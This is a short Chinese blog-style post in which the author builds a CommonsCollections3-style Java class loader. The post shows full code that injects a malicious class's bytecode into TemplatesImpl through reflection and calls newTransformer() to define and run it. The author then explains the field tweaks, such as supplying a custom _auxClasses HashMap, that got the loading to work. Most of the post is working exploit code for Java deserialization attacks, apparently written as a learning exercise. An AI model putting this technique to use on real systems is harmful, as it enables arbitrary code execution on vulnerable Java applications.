今天没事想自己写个CC3类加载
结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环
结果搞了个下面的代码出来
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;
public class CC3TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "CC6TiedMapEntry");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
} else if (field.getName().equals("_outputProperties")) {
field.set(templatesClass, new Properties());
} else if (field.getName().equals("_transletIndex")) {
field.set(templatesClass, 0);
} else if (field.getName().equals("_auxClasses")) {
field.set(templatesClass, new HashMap<>());
}
}
templatesClass.newTransformer();
}
}
你别说,还真TM能跑。
说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。
于是我bytecode传了两个恶意数组
field.set(templatesClass, new byte[][]{code,code});
结果进第二个catch,hashMap不能重复put
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了
field.set(templatesClass, new byte[][]{code,new byte[0]});
突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是
else if (field.getName().equals("_auxClasses")) {
field.set(templatesClass, new HashMap<>());
}
感觉像个大铸币写的